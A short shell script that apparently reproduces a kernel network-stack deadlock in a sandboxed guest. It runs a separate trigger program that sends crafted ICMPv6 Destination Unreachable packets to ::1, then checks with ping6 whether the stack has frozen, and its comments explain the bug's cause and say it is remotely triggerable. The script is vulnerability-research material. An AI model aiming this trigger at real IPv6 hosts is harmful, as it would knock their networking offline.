#!/bin/sh
# DF-0630 run: reproduce the udp6_ctlinput netisr deadlock.
#
# Sends ONE crafted ICMPv6 Destination Unreachable (quoted inner IPv6 has
# nh=UDP, plen=0) to ::1, which makes the guest's own icmp6_input dispatch
# udp6_ctlinput via so_pr_ctlinput (synchronous lwkt_domsg). udp6_ctlinput
# hits the early `return;` at udp6_usrreq.c:435 WITHOUT lwkt_replymsg, so the
# netisr that ran icmp6_input blocks forever in lwkt_waitmsg -> permanent
# network-stack wedge.
#
# MUST be run as root in the guest (raw ICMPv6 socket). The QEMU user-mode net
# is IPv4-only NAT, so we inject from inside the guest; the live vuln is
# remotely triggerable by any unauthenticated IPv6-reachable host.
#
# Usage:   ./run.sh                # trigger + timed ping6/ssh probes
#          ./run.sh <count>        # send <count> packets
set -u
cd "$(dirname "$0")"
N=${1:-1}

echo "=== baseline ping6 ::1 ==="
ping6 -c1 ::1

echo "=== TRIGGER: $N crafted ICMPv6 DestUnreach -> ::1 ==="
./trigger ::1 "$N"

echo "=== DETECT: ping6 ::1 (HANGS on unpatched kernel = reproduced) ==="
timeout 6 ping6 -c2 ::1
echo "ping6_rc=$?"

echo "=== DETECT: ssh-style echo (HANGS on unpatched = whole stack frozen) ==="
echo "ALIVE_MARKER"